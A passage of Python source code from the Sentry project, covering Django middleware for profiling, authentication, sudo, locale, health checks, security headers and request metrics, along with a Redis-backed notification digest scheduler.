                newstats[newfunc] = (cc, nc, tt, ct, newcallers)
        old_top = stats.top_level
        stats.top_level = new_top = {}
        for func in old_top:
            new_top[func_strip_path(func)] = None

        stats.max_name_len = max_name_len

        stats.fcn_list = None
        stats.all_callees = None
        return self

    def summary_for_files(self, stats_str):
        stats_str = stats_str.split("\n")[5:]

        mystats = {}
        mygroups = {}

        total = 0

        for s in stats_str:
            fields = words_re.split(s)
            if len(fields) == 7:
                time = float(fields[2])
                total += time
                filename = fields[6].split(":")[0]

                if filename not in mystats:
                    mystats[filename] = 0
                mystats[filename] += time

                group = self.get_group(filename)
                if group not in mygroups:
                    mygroups[group] = 0
                mygroups[group] += time

        return "\n" + \
               " ---- By file ----\n\n" + self.get_summary(mystats, total) + "\n" + \
               " ---- By group ---\n\n" + self.get_summary(mygroups, total) + \
               "\n"

    def process_response(self, request, response):
        if not self.can(request):
            return response

        out = StringIO.StringIO()
        old_stdout = sys.stdout
        sys.stdout = out

        stats = pstats.Stats(self.prof)
        self.normalize_paths(stats)
        stats.sort_stats('time', 'calls')
        stats.print_stats()

        sys.stdout = old_stdout
        stats_str = out.getvalue()

        content = "\n".join(stats_str.split("\n")[:40])
        content += "\n\n"
        content += self.summary_for_files(stats_str)

        return HttpResponse(content, 'text/plain')






from __future__ import absolute_import

import six


class SetRemoteAddrFromForwardedFor(object):
    def process_request(self, request):
        try:
            real_ip = request.META['HTTP_X_FORWARDED_FOR']
        except KeyError:
            pass
        else:
            # HTTP_X_FORWARDED_FOR can be a comma-separated list of IPs.
            # Take just the first one.
            real_ip = real_ip.split(",")[0]
            if ':' in real_ip and '.' in real_ip:
                # Strip the port number off of an IPv4 FORWARDED_FOR entry.
                real_ip = real_ip.split(':', 1)[0]
            request.META['REMOTE_ADDR'] = real_ip


class ContentLengthHeaderMiddleware(object):
    """
    Ensure that we have a proper Content-Length/Transfer-Encoding header
    """

    def process_response(self, request, response):
        if 'Transfer-Encoding' in response or 'Content-Length' in response:
            return response

        if not response.streaming:
            response['Content-Length'] = six.text_type(len(response.content))

        return response






from __future__ import absolute_import

from django.contrib.auth import middleware

from sentry.utils.linksign import process_signature
from sentry.utils import auth


class AuthenticationMiddleware(middleware.AuthenticationMiddleware):

    def process_request(self, request):
        middleware.AuthenticationMiddleware.process_request(self, request)
        request.user_from_signed_request = False

        # If there is a valid signature on the request we override the
        # user with the user contained within the signature.
        user = process_signature(request)
        if user is not None:
            request.user = user
            request.user_from_signed_request = True

    def process_exception(self, request, exception):
        if isinstance(exception, auth.AuthUserPasswordExpired):
            from sentry.web.frontend.accounts import expired
            return expired(request, exception.user)






"""
sentry.middleware.social_auth
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from social_auth.middleware import SocialAuthExceptionMiddleware

from sentry.utils.http import absolute_uri
from sentry.web.helpers import get_login_url


class SentrySocialAuthExceptionMiddleware(SocialAuthExceptionMiddleware):
    def get_redirect_uri(self, request, exception):
        return absolute_uri(get_login_url())






from __future__ import absolute_import

from sentry.auth.utils import is_active_superuser


class SuperuserMiddleware(object):
    def process_request(self, request):
        request.is_superuser = lambda: is_active_superuser(request)






"""
sentry.middleware.sudo
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sudo.middleware import SudoMiddleware as BaseSudoMiddleware

from sentry.constants import EMPTY_PASSWORD_VALUES


class SudoMiddleware(BaseSudoMiddleware):
    def has_sudo_privileges(self, request):
        # Users without a password are assumed to always have sudo powers
        user = request.user
        if user.is_authenticated() and user.password in EMPTY_PASSWORD_VALUES:
            return True

        return super(SudoMiddleware, self).has_sudo_privileges(request)






from __future__ import absolute_import

from django.core.signals import request_finished

from sentry.app import env


class SentryEnvMiddleware(object):
    def process_request(self, request):
        # bind request to env
        env.request = request


def clear_request(**kwargs):
    env.request = None

request_finished.connect(clear_request)






"""
sentry.middleware.locale
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import pytz

from django.middleware.locale import LocaleMiddleware

from sentry.models import UserOption
from sentry.utils.safe import safe_execute


class SentryLocaleMiddleware(LocaleMiddleware):
    def process_request(self, request):
        # No locale for static media
        # This avoids touching user session, which means we avoid
        # setting `Vary: Cookie` as a response header which will
        # break HTTP caching entirely.
        self.__skip_caching = (request.path_info[:9] == '/_static/' or
                               request.path_info[:8] == '/avatar/')
        if self.__skip_caching:
            return

        safe_execute(self.load_user_conf, request,
                     _with_transaction=False)

        super(SentryLocaleMiddleware, self).process_request(request)

    def load_user_conf(self, request):
        if not request.user.is_authenticated():
            return

        language = UserOption.objects.get_value(
            user=request.user, project=None, key='language', default=None)
        if language:
            request.session['django_language'] = language

        timezone = UserOption.objects.get_value(
            user=request.user, project=None, key='timezone', default=None)
        if timezone:
            request.timezone = pytz.timezone(timezone)

    def process_response(self, request, response):
        # If static bound, we don't want to run the normal process_response since this
        # adds an extra `Vary: Accept-Language`. Static files don't need this and is
        # less effective for caching.
        try:
            if self.__skip_caching:
                return response
        except AttributeError:
            # catch ourselves in case __skip_caching never got set.
            # It's possible that process_request never ran.
            pass
        return super(SentryLocaleMiddleware, self).process_response(request, response)






"""
sentry.middleware
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import






from __future__ import absolute_import

import itertools
import six

from django.http import HttpResponse


class HealthCheck(object):
    def process_request(self, request):
        # Our health check can't be a done as a view, because we need
        # to bypass the ALLOWED_HOSTS check. We need to do this
        # since not all load balancers can send the expected Host header
        # which would cause a 400 BAD REQUEST, marking the node dead.
        # Instead, we just intercept the request at this point, and return
        # our success/failure immediately.
        if request.path != '/_health/':
            return

        if 'full' not in request.GET:
            return HttpResponse('ok', content_type='text/plain')

        from sentry.status_checks import Problem, check_all
        from sentry.utils import json

        threshold = Problem.threshold(Problem.SEVERITY_CRITICAL)
        results = {check: filter(threshold, problems) for check, problems in check_all().items()}
        problems = list(itertools.chain.from_iterable(results.values()))

        return HttpResponse(json.dumps({
            'problems': [six.text_type(p) for p in problems],
            'healthy': {type(check).__name__: not p for check, p in results.items()},
        }), content_type='application/json', status=(500 if problems else 200))






from __future__ import absolute_import


class SecurityHeadersMiddleware(object):
    """
    Ensure that we have proper security headers set
    """
    def process_response(self, request, response):
        # NOTE: there is no `response.setdefault()`
        if 'X-Frame-Options' not in response:
            response['X-Frame-Options'] = 'deny'
        if 'X-Content-Type-Options' not in response:
            response['X-Content-Type-Options'] = 'nosniff'
        if 'X-XSS-Protection' not in response:
            response['X-XSS-Protection'] = '1; mode=block'
        return response






"""
sentry.middleware.debug
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.conf import settings


class NoIfModifiedSinceMiddleware(object):
    def __init__(self):
        if not settings.DEBUG:
            from django.core.exceptions import MiddlewareNotUsed
            raise MiddlewareNotUsed

    def process_request(self, request):
        request.META.pop('HTTP_IF_MODIFIED_SINCE', None)






from __future__ import absolute_import

import inspect
import six
import time

from django.http import Http404

from sentry.utils import metrics


class ResponseCodeMiddleware(object):
    def process_response(self, request, response):
        metrics.incr('response', instance=six.text_type(response.status_code))
        return response

    def process_exception(self, request, exception):
        if not isinstance(exception, Http404):
            metrics.incr('response', instance='500')


class RequestTimingMiddleware(object):
    allowed_methods = ('POST', 'GET')
    allowed_paths = (
        'sentry.web.api.StoreView',
        'sentry.api.endpoints',
    )

    def process_view(self, request, view_func, view_args, view_kwargs):
        if request.method not in self.allowed_methods:
            return

        view = view_func
        if not inspect.isfunction(view_func):
            view = view.__class__

        try:
            path = '%s.%s' % (view.__module__, view.__name__)
        except AttributeError:
            return

        if not path.startswith(self.allowed_paths):
            return

        request._view_path = path
        request._start_time = time.time()

    def process_response(self, request, response):
        self._record_time(request, response.status_code)
        return response

    def process_exception(self, request, exception):
        self._record_time(request, 500)

    def _record_time(self, request, status_code):
        if not hasattr(request, '_view_path'):
            return

        metrics.incr('view.response', instance=request._view_path, tags={
            'method': request.method,
            'status_code': status_code,
        })

        if not hasattr(request, '_start_time'):
            return

        ms = int((time.time() - request._start_time) * 1000)
        metrics.timing('view.duration', ms, instance=request._view_path, tags={
            'method': request.method,
        })






from __future__ import absolute_import

import zlib

from sentry.utils.compat import pickle


class Codec(object):
    def encode(self, value):
        raise NotImplementedError

    def decode(self, value):
        raise NotImplementedError


class CompressedPickleCodec(Codec):
    def encode(self, value):
        return zlib.compress(pickle.dumps(value))

    def decode(self, value):
        return pickle.loads(zlib.decompress(value))






from __future__ import absolute_import

from collections import namedtuple

from sentry.utils.dates import to_datetime


class Record(namedtuple('Record', 'key value timestamp')):
    @property
    def datetime(self):
        return to_datetime(self.timestamp)


ScheduleEntry = namedtuple('ScheduleEntry', 'key timestamp')


OPTIONS = frozenset((
    'increment_delay',
    'maximum_delay',
    'minimum_delay',
))


def get_option_key(plugin, option):
    assert option in OPTIONS
    return 'digests:{}:{}'.format(plugin, option)






from __future__ import absolute_import

import functools
import itertools
import logging
import six

from collections import (
    OrderedDict,
    defaultdict,
    namedtuple,
)
from six.moves import reduce

from sentry.app import tsdb
from sentry.digests import Record
from sentry.models import (
    Project,
    Group,
    GroupStatus,
    Rule,
)
from sentry.utils.dates import to_timestamp


logger = logging.getLogger('sentry.digests')


Notification = namedtuple('Notification', 'event rules')


def split_key(key):
    from sentry.plugins import plugins  # XXX
    plugin_slug, _, project_id = key.split(':', 2)
    return plugins.get(plugin_slug), Project.objects.get(pk=project_id)


def unsplit_key(plugin, project):
    return '{plugin.slug}:p:{project.id}'.format(plugin=plugin, project=project)


def strip_for_serialization(instance):
    cls = type(instance)
    return cls(**{field.attname: getattr(instance, field.attname) for field in cls._meta.fields})


def event_to_record(event, rules):
    if not rules:
        logger.warning('Creating record for %r that does not contain any rules!', event)

    return Record(
        event.event_id,
        Notification(strip_for_serialization(event), [rule.id for rule in rules]),
        to_timestamp(event.datetime),
    )


def fetch_state(project, records):
    # This reads a little strange, but remember that records are returned in
    # reverse chronological order, and we query the database in chronological
    # order.
    # NOTE: This doesn't account for any issues that are filtered out later.
    start = records[-1].datetime
    end = records[0].datetime

    groups = Group.objects.in_bulk(record.value.event.group_id for record in records)
    return {
        'project': project,
        'groups': groups,
        'rules': Rule.objects.in_bulk(itertools.chain.from_iterable(record.value.rules for record in records)),
        'event_counts': tsdb.get_sums(tsdb.models.group, groups.keys(), start, end),
        'user_counts': tsdb.get_distinct_counts_totals(tsdb.models.users_affected_by_group, groups.keys(), start, end),
    }


def attach_state(project, groups, rules, event_counts, user_counts):
    for id, group in six.iteritems(groups):
        assert group.project_id == project.id, 'Group must belong to Project'
        group.project = project

    for id, rule in six.iteritems(rules):
        assert rule.project_id == project.id, 'Rule must belong to Project'
        rule.project = project

    for id, event_count in six.iteritems(event_counts):
        groups[id].event_count = event_count

    for id, user_count in six.iteritems(user_counts):
        groups[id].user_count = user_count

    return {
        'project': project,
        'groups': groups,
        'rules': rules,
    }


class Pipeline(object):
    def __init__(self):
        self.operations = []

    def __call__(self, sequence):
        return reduce(lambda x, operation: operation(x), self.operations, sequence)

    def apply(self, function):
        def operation(sequence):
            result = function(sequence)
            logger.debug('%r applied to %s items.', function, len(sequence))
            return result
        self.operations.append(operation)
        return self

    def filter(self, function):
        def operation(sequence):
            result = [s for s in sequence if function(s)]
            logger.debug('%r filtered %s items to %s.', function, len(sequence), len(result))
            return result
        self.operations.append(operation)
        return self

    def map(self, function):
        def operation(sequence):
            result = [function(s) for s in sequence]
            logger.debug('%r applied to %s items.', function, len(sequence))
            return result
        self.operations.append(operation)
        return self

    def reduce(self, function, initializer):
        def operation(sequence):
            result = reduce(function, sequence, initializer(sequence))
            logger.debug('%r reduced %s items to %s.', function, len(sequence), len(result))
            return result
        self.operations.append(operation)
        return self


def rewrite_record(record, project, groups, rules):
    event = record.value.event

    # Reattach the group to the event.
    group = groups.get(event.group_id)
    if group is not None:
        event.group = group
    else:
        logger.debug('%r could not be associated with a group.', record)
        return

    return Record(
        record.key,
        Notification(
            event,
            filter(None, [rules.get(id) for id in record.value.rules]),
        ),
        record.timestamp,
    )


def group_records(groups, record):
    group = record.value.event.group
    rules = record.value.rules
    if not rules:
        logger.debug('%r has no associated rules, and will not be added to any groups.', record)

    for rule in rules:
        groups[rule][group].append(record)

    return groups


def sort_group_contents(rules):
    for key, groups in six.iteritems(rules):
        rules[key] = OrderedDict(
            sorted(
                groups.items(),
                # x = (group, records)
                key=lambda x: (x[0].event_count, x[0].user_count),
                reverse=True,
            )
        )
    return rules


def sort_rule_groups(rules):
    return OrderedDict(
        sorted(
            rules.items(),
            # x = (rule, groups)
            key=lambda x: len(x[1]),
            reverse=True,
        ),
    )


def build_digest(project, records, state=None):
    records = list(records)
    if not records:
        return

    # XXX: This is a hack to allow generating a mock digest without actually
    # doing any real IO!
    if state is None:
        state = fetch_state(project, records)

    state = attach_state(**state)

    def check_group_state(record):
        return record.value.event.group.get_status() == GroupStatus.UNRESOLVED

    pipeline = Pipeline(). \
        map(functools.partial(rewrite_record, **state)). \
        filter(bool). \
        filter(check_group_state). \
        reduce(group_records, lambda sequence: defaultdict(lambda: defaultdict(list))). \
        apply(sort_group_contents). \
        apply(sort_rule_groups)

    return pipeline(records)






from __future__ import absolute_import

import six

from collections import Counter


# TODO(tkaemming): This should probably just be part of `build_digest`.
def get_digest_metadata(digest):
    start = None
    end = None

    counts = Counter()
    for rule, groups in six.iteritems(digest):
        counts.update(groups.keys())

        for group, records in six.iteritems(groups):
            for record in records:
                if start is None or record.datetime < start:
                    start = record.datetime

                if end is None or record.datetime > end:
                    end = record.datetime

    return start, end, counts






from __future__ import absolute_import

import itertools
import logging
import random
import six
import time

from contextlib import contextmanager
from redis.exceptions import ResponseError, WatchError

from sentry.digests import Record, ScheduleEntry
from sentry.digests.backends.base import Backend, InvalidState
from sentry.utils.locking.backends.redis import RedisLockBackend
from sentry.utils.locking.manager import LockManager
from sentry.utils.redis import (
    check_cluster_versions, get_cluster_from_options, load_script
)
from sentry.utils.versioning import Version

logger = logging.getLogger('sentry.digests')

SCHEDULE_PATH_COMPONENT = 's'
SCHEDULE_STATE_WAITING = 'w'
SCHEDULE_STATE_READY = 'r'

TIMELINE_DIGEST_PATH_COMPONENT = 'd'
TIMELINE_LAST_PROCESSED_TIMESTAMP_PATH_COMPONENT = 'l'
TIMELINE_PATH_COMPONENT = 't'
TIMELINE_RECORD_PATH_COMPONENT = 'r'


def ilen(iterator):
    i = 0
    for i, _ in enumerate(iterator):
        pass
    return i


def make_schedule_key(namespace, state):
    return '{0}:{1}:{2}'.format(namespace, SCHEDULE_PATH_COMPONENT, state)


def make_timeline_key(namespace, key):
    return '{0}:{1}:{2}'.format(namespace, TIMELINE_PATH_COMPONENT, key)


def make_last_processed_timestamp_key(timeline_key):
    return '{0}:{1}'.format(timeline_key, TIMELINE_LAST_PROCESSED_TIMESTAMP_PATH_COMPONENT)


def make_digest_key(timeline_key):
    return '{0}:{1}'.format(timeline_key, TIMELINE_DIGEST_PATH_COMPONENT)


def make_record_key(timeline_key, record):
    return '{0}:{1}:{2}'.format(timeline_key, TIMELINE_RECORD_PATH_COMPONENT, record)


ensure_timeline_scheduled = load_script('digests/ensure_timeline_scheduled.lua')
truncate_timeline = load_script('digests/truncate_timeline.lua')


def clear_timeline_contents(pipeline, timeline_key):
    """
    Removes all keys associated with a timeline key. This does not remove the
    timeline from schedules.

    This assumes the timeline lock has already been acquired.
    """
    truncate_timeline(pipeline, (timeline_key,), (0, timeline_key))
    truncate_timeline(pipeline, (make_digest_key(timeline_key),), (0, timeline_key))
    pipeline.delete(make_last_processed_timestamp_key(timeline_key))


class RedisBackend(Backend):
    """
    Implements the digest backend API, backed by Redis.

    Each timeline is modeled as a sorted set, and also maintains a separate key
    that contains the last time the digest was processed (used for scheduling.)

    .. code::

        redis:6379> ZREVRANGEBYSCORE "d:t:mail:p:1" inf -inf WITHSCORES
        1) "433be20b807c4cd49a132de69c0f6c55"
        2) "1444847625"
        3) "0f9d5fe4b5b3400fab85d9a841aa8467"
        4) "1444847625"
        ...

    The timeline contains references to several records, which are stored
    separately, encoded using the codec provided to the backend:

    .. code::

        redis:6379> GET "d:t:mail:p:1:r:433be20b807c4cd49a132de69c0f6c55"
        [ binary content ]

    When the timeline is ready to be digested, the timeline set is renamed,
    creating a digest set (in this case the key would be ``d:t:mail:p:1:d``),
    that represents a snapshot of the timeline contents at that point in time.
    (If the digest set already exists, the timeline contents are instead
    unioned into the digest set and then the timeline is cleared.) This allows
    new records to be added to the timeline that will be processed after the
    next scheduling interval without the risk of data loss due to race
    conditions between the record addition and digest generation and delivery.

    Schedules are modeled as two sorted sets -- one for ``waiting`` items, and
    one for ``ready`` items. Items in the ``waiting`` set are scored by the
    time at which they should be transitioned to the ``ready`` set.  Items in
    the ``ready`` set are scored by the time at which they were scheduled to be
    added to the ``ready`` set. Iterating each set from oldest to newest yields
    the highest priority items for action (moving from the ``waiting`` to
    ``ready`` set, or delivering a digest for the ``waiting`` and ``ready``
    set, respectively.)

    .. code::

        redis:6379> ZREVRANGEBYSCORE "d:s:w" inf -inf WITHSCORES
        1) "mail:p:1"
        2) "1444847638"

    """
    def __init__(self, **options):
        self.cluster, options = get_cluster_from_options('SENTRY_DIGESTS_OPTIONS', options)
        self.locks = LockManager(RedisLockBackend(self.cluster))

        self.namespace = options.pop('namespace', 'd')

        # Sets the time-to-live (in seconds) for records, timelines, and
        # digests. This can (and should) be a relatively high value, since
        # timelines, digests, and records should all be deleted after they have
        # been processed -- this is mainly to ensure stale data doesn't hang
        # around too long in the case of a configuration error. This should be
        # larger than the maximum scheduling delay to ensure data is not evicted
        # too early.
        self.ttl = options.pop('ttl', 60 * 60)

        super(RedisBackend, self).__init__(**options)

    def validate(self):
        logger.debug('Validating Redis version...')
        check_cluster_versions(
            self.cluster,
            Version((2, 8, 9)),
            label='Digests',
        )

    def add(self, key, record, increment_delay=None, maximum_delay=None):
        if increment_delay is None:
            increment_delay = self.increment_delay

        if maximum_delay is None:
            maximum_delay = self.maximum_delay

        timeline_key = make_timeline_key(self.namespace, key)
        record_key = make_record_key(timeline_key, record.key)

        connection = self.cluster.get_local_client_for_key(timeline_key)
        with connection.pipeline() as pipeline:
            pipeline.multi()

            pipeline.set(
                record_key,
                self.codec.encode(record.value),
                ex=self.ttl,
            )

            # In the future, it might make sense to prefix the entry with the
            # timestamp (lexicographically sortable) to ensure that we can
            # maintain the correct sort order with abitrary precision:
            # http://redis.io/commands/ZADD#elements-with-the-same-score
            pipeline.zadd(timeline_key, record.timestamp, record.key)
            pipeline.expire(timeline_key, self.ttl)

            ensure_timeline_scheduled(
                pipeline,
                (
                    make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING),
                    make_schedule_key(self.namespace, SCHEDULE_STATE_READY),
                    make_last_processed_timestamp_key(timeline_key),
                ),
                (
                    key,
                    record.timestamp,
                    increment_delay,
                    maximum_delay,
                ),
            )

            should_truncate = random.random() < self.truncation_chance
            if should_truncate:
                truncate_timeline(
                    pipeline,
                    (timeline_key,),
                    (self.capacity, timeline_key),
                )

            results = pipeline.execute()
            if should_truncate:
                logger.debug('Removed %s extra records from %s.', results[-1], key)

            return results[-2 if should_truncate else -1]

    def __schedule_partition(self, host, deadline, chunk):
        connection = self.cluster.get_local_client(host)

        lock = self.locks.get(
            '{0}:s:{1}'.format(self.namespace, host),
            duration=30,
            routing_key=host,
        )

        with lock.acquire():
            # Prevent a runaway loop by setting a maximum number of
            # iterations. Note that this limits the total number of
            # expected items in any specific scheduling interval to chunk *
            # maximum_iterations.
            maximum_iterations = 1000
            for i in range(maximum_iterations):
                items = connection.zrangebyscore(
                    make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING),
                    min=0,
                    max=deadline,
                    withscores=True,
                    start=0,
                    num=chunk,
                )

                # XXX: Redis will error if we try and execute an empty
                # transaction. If there are no items to move between states, we
                # need to exit the loop now. (This can happen on the first
                # iteration of the loop if there is nothing to do, or on a
                # subsequent iteration if there was exactly the same number of
                # items to change states as the chunk size.)
                if not items:
                    break

                with connection.pipeline() as pipeline:
                    pipeline.multi()

                    pipeline.zrem(
                        make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING),
                        *[key for key, timestamp in items]
                    )

                    pipeline.zadd(
                        make_schedule_key(self.namespace, SCHEDULE_STATE_READY),
                        *itertools.chain.from_iterable([(timestamp, key) for (key, timestamp) in items])
                    )

                    for key, timestamp in items:
                        yield ScheduleEntry(key, timestamp)

                    pipeline.execute()

                # If we retrieved less than the chunk size of items, we don't
                # need try to retrieve more items.
                if len(items) < chunk:
                    break
            else:
                raise RuntimeError('loop exceeded maximum iterations (%s)' % (maximum_iterations,))

    def schedule(self, deadline, chunk=1000):
        # TODO: This doesn't lead to a fair balancing of workers, ideally each
        # scheduling task would be executed by a different process for each
        # host.
        for host in self.cluster.hosts:
            try:
                for entry in self.__schedule_partition(host, deadline, chunk):
                    yield entry
            except Exception as error:
                logger.error(
                    'Failed to perform scheduling for partition %r due to error: %r',
                    host,
                    error,
                    exc_info=True
                )

    def __maintenance_partition(self, host, deadline, chunk):
        connection = self.cluster.get_local_client(host)

        extra = 0
        start = 0
        maximum_iterations = 1000
        for i in range(maximum_iterations):
            fetch_size = chunk + extra
            entries = [
                ScheduleEntry(*x)
                for x in (
                    connection.zrangebyscore(
                        make_schedule_key(self.namespace, SCHEDULE_STATE_READY),
                        min=start,
                        max=deadline,
                        withscores=True,
                        start=0,
                        num=fetch_size,
                    )
                )
            ]

            def try_lock(entry):
                """
                Attempt to immedately acquire a lock on the timeline at
                key, returning the lock if it can be acquired, otherwise
                returning ``None``.
                """
                timeline_key = make_timeline_key(self.namespace, entry.key),
                lock = self.locks.get(
                    timeline_key,
                    duration=5,
                    routing_key=timeline_key,
                )
                try:
                    lock.acquire()
                except Exception:
                    lock = None
                return lock, entry

            # Try to take out a lock on each entry. If we can't acquire the
            # lock, that means this is currently being digested and cannot be
            # rescheduled.
            can_reschedule = ([], [])  # indexed by True and False
            for result in map(try_lock, entries):
                can_reschedule[result[0] is not None].append(result)

            logger.debug('Fetched %s items, able to reschedule %s.', len(entries), len(can_reschedule[True]))

            # Set the start position for the next query. (If there are no
            # items, we don't need to worry about this, since there won't
            # be a next query.) If all items share the same score and are
            # locked, the iterator will never advance (we will keep trying
            # to schedule the same locked items over and over) and either
            # eventually progress slowly as items are unlocked, or hit the
            # maximum iterations boundary. A possible solution to this
            # would be to count the number of items that have the maximum
            # score in this page that we assume we can't acquire (since we
            # couldn't acquire the lock this iteration) and add that count
            # to the next query limit. (This unfortunately could also
            # lead to unbounded growth too, so we have to limit it as well.)
            if entries:
                start = entries[-1].key
                extra = min(
                    ilen(
                        itertools.takewhile(
                            # (lock, entry)
                            lambda x: x[1].timestamp == start,
                            can_reschedule[False][::-1],
                        ),
                    ),
                    chunk,
                )

            # XXX: We need to perform this check before the transaction to
            # ensure that we don't execute an empty transaction. (We'll
            # need to perform a similar check after the completion of the
            # transaction as well.)
            if not can_reschedule[True]:
                if len(entries) == fetch_size:
                    # There is nothing to reschedule in this chunk, but we
                    # need check if there are others after this chunk.
                    continue
                else:
                    # There is nothing to unlock, and we've exhausted all items.
                    break

            try:
                with connection.pipeline() as pipeline:
                    pipeline.multi()

                    pipeline.zrem(
                        make_schedule_key(self.namespace, SCHEDULE_STATE_READY),
                        *[entry.key for (lock, entry) in can_reschedule[True]]
                    )

                    should_reschedule = ([], [])  # indexed by True and False
                    timeout = time.time() - self.ttl
                    for lock, entry in can_reschedule[True]:
                        should_reschedule[entry.timestamp > timeout].append(entry)

                    logger.debug(
                        'Identified %s items that should be rescheduled, and %s that will be removed.',
                        len(should_reschedule[True]),
                        len(should_reschedule[False]),
                    )

                    # Move items that should be rescheduled to the waiting state.
                    if should_reschedule[True]:
                        pipeline.zadd(
                            make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING),
                            *itertools.chain.from_iterable([(entry.timestamp, entry.key) for entry in should_reschedule[True]])
                        )

                    # Clear out timelines that should not be rescheduled.
                    # Ideally this path is never actually hit, but this can
                    # happen if the queue is **extremely** backlogged, or if a
                    # cluster size change caused partition ownership to change
                    # and timelines are now stuck within partitions that they
                    # no longer should be. (For more details, see GH-2479.)
                    for entry in should_reschedule[False]:
                        logger.warning(
                            'Clearing expired timeline %r from host %s, schedule timestamp was %s.',
                            entry.key,
                            host,
                            entry.timestamp,
                        )
                        clear_timeline_contents(
                            pipeline,
                            make_timeline_key(self.namespace, entry.key),
                        )

                    pipeline.execute()
            finally:
                # Regardless of the outcome of the transaction, we should
                # try to unlock the items for processing.
                for lock, entry in can_reschedule[True]:
                    try:
                        lock.release()
                    except Exception as error:
                        # XXX: This shouldn't be hit (the ``Lock`` code
                        # should swallow the exception) but this is here
                        # for safety anyway.
                        logger.warning('Could not unlock %r: %s', entry, error)

            # If we retrieved less than the chunk size of items, we don't
            # need try to retrieve more items.
            if len(entries) < fetch_size:
                break
        else:
            raise RuntimeError('loop exceeded maximum iterations (%s)' % (maximum_iterations,))

    def maintenance(self, deadline, chunk=1000):
        # TODO: Ideally, this would also return the number of items that were
        # rescheduled (and possibly even how late they were at the point of
        # rescheduling) but that causes a bit of an API issue since in the case
        # of an error, this can be considered a partial success (but still
        # should raise an exception.)
        for host in self.cluster.hosts:
            try:
                self.__maintenance_partition(host, deadline, chunk)
            except Exception as error:
                logger.error(
                    'Failed to perform maintenance on digest partition %r due to error: %r',
                    host,
                    error,
                    exc_info=True
                )

    @contextmanager
    def digest(self, key, minimum_delay=None):
        if minimum_delay is None:
            minimum_delay = self.minimum_delay

        timeline_key = make_timeline_key(self.namespace, key)
        digest_key = make_digest_key(timeline_key)

        connection = self.cluster.get_local_client_for_key(timeline_key)

        lock = self.locks.get(timeline_key, duration=30, routing_key=timeline_key)
        with lock.acquire():
            # Check to ensure the timeline is in the correct state ("ready")
            # before sending. This acts as a throttling mechanism to prevent
            # sending a digest before it's next scheduled delivery time in a
            # race condition scenario.
            if connection.zscore(make_schedule_key(self.namespace, SCHEDULE_STATE_READY), key) is None:
                raise InvalidState('Timeline is not in the ready state.')

            with connection.pipeline() as pipeline:
                pipeline.watch(digest_key)  # This shouldn't be necessary, but better safe than sorry?

                if pipeline.exists(digest_key):
                    pipeline.multi()
                    pipeline.zunionstore(digest_key, (timeline_key, digest_key), aggregate='max')
                    pipeline.delete(timeline_key)
                    pipeline.expire(digest_key, self.ttl)
                    pipeline.execute()
                else:
                    pipeline.multi()
                    pipeline.rename(timeline_key, digest_key)
                    pipeline.expire(digest_key, self.ttl)
                    try:
                        pipeline.execute()
                    except ResponseError as error:
                        if 'no such key' in six.text_type(error):
                            logger.debug('Could not move timeline for digestion (likely has no contents.)')
                        else:
                            raise

            # XXX: This must select all records, even though not all of them will
            # be returned if they exceed the capacity, to ensure that all records
            # will be garbage collected.
            records = connection.zrevrange(digest_key, 0, -1, withscores=True)
            if not records:
                logger.debug('Retrieved timeline containing no records.')

            def get_records_for_digest():
                with connection.pipeline(transaction=False) as pipeline:
                    for record_key, timestamp in records:
                        pipeline.get(make_record_key(timeline_key, record_key))

                    for (record_key, timestamp), value in zip(records, pipeline.execute()):
                        # We have to handle failures if the key does not exist --
                        # this could happen due to evictions or race conditions
                        # where the record was added to a timeline while it was
                        # already being digested.
                        if value is None:
                            logger.warning('Could not retrieve event for timeline.')
                        else:
                            yield Record(record_key, self.codec.decode(value), timestamp)

            yield itertools.islice(get_records_for_digest(), self.capacity)

            def cleanup_records(pipeline):
                record_keys = [make_record_key(timeline_key, record_key) for record_key, score in records]
                pipeline.delete(digest_key, *record_keys)

            def reschedule():
                with connection.pipeline() as pipeline:
                    pipeline.watch(digest_key)  # This shouldn't be necessary, but better safe than sorry?
                    pipeline.multi()

                    cleanup_records(pipeline)
                    pipeline.zrem(make_schedule_key(self.namespace, SCHEDULE_STATE_READY), key)
                    pipeline.zadd(make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING), time.time() + minimum_delay, key)
                    pipeline.setex(make_last_processed_timestamp_key(timeline_key), self.ttl, int(time.time()))
                    pipeline.execute()

            def unschedule():
                with connection.pipeline() as pipeline:
                    # Watch the timeline to ensure that no other transactions add
                    # events to the timeline while we are trying to delete it.
                    pipeline.watch(timeline_key)
                    pipeline.multi()
                    if connection.zcard(timeline_key) == 0:
                        cleanup_records(pipeline)
                        pipeline.delete(make_last_processed_timestamp_key(timeline_key))
                        pipeline.zrem(make_schedule_key(self.namespace, SCHEDULE_STATE_READY), key)
                        pipeline.zrem(make_schedule_key(self.namespace, SCHEDULE_STATE_WAITING), key)
                        pipeline.execute()

            # If there were records in the digest, we need to schedule it so
            # that we schedule any records that were added during digestion. If
            # there were no items, we can try to remove the timeline from the
            # digestion schedule.
            if records:
                reschedule()
            else:
                try:
                    unschedule()
                except WatchError:
                    logger.debug('Could not remove timeline from schedule, rescheduling instead')
                    reschedule()

    def delete(self, key):
        timeline_key = make_timeline_key(self.namespace, key)

        connection = self.cluster.get_local_client_for_key(timeline_key)

        lock = self.locks.get(timeline_key, duration=30, routing_key=timeline_key)
        with lock.acquire(), connection.pipeline() as pipeline:
            clear_timeline_contents(pipeline, timeline_key)
